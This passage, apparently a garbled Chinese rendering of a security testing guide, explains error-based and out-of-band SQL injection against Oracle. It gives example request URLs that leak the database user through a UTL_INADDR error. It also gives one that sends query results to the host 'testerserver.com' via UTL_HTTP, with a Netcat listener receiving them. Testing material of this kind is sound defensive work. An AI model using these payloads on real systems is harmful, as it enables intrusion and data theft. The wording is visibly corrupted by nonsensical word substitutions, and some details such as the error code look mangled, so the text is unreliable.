考虑下面的SQL查询:
SELECT FROM products WHERE id_product = $ id_product
请考虑对实行上述查询的脚本的要求:
http://www.example.com/product.php?id=10
恶意要求将是(例如Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME(((SELECT USER FROM DUAL)) -
在此示例中,测试职员将值10与函数UTL_INADDR.GET_HOST_NAME的结果连接起来。这个Oracle函数会考试测验返回通报给它的参数的主机名,这是另一个查询,即用户的名字。当数据库利用用户数据库名称查找主机名时,它将失落败并返回如下缺点:
ORA-292257: host SCOTT unknown
然后,测试职员可以操纵通报给GET_HOST_NAME()函数的参数,并将结果显示在缺点中。
带外开拓技能
当测试职员创造Blind SQL Injection情形时,这种技能非常有用,在这种情形下,操作结果中什么都不知道。该技能包括利用DBMS功能实行带外连接,并将注入查询的结果作为要求的一部分供应给测试职员的做事器。像基于缺点的技能一样,每个DBMS都有自己的功能。检讨特定的DBMS部分。
考虑下面的SQL查询:
SELECT FROM products WHERE id_product = $ id_product
请考虑对实行上述查询的脚本的要求:
http://www.example.com/product.php?id=10
恶意要求将是:
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELECT user FROM DUAL) -
在本例中,测试职员将值10与函数UTL_HTTP.request的结果连接起来。此Oracle函数将考试测验连接到'testerserver',并发出一个包含查询“SELECT user FROM DUAL”的返回结果的HTTP GET要求。测试职员可以设置一个网络做事器(例如Apache)或利用Netcat工具:
/home/tester/nc –nLp 80GET /SCOTT HTTP/1.1Host: testerserver.comConnection: close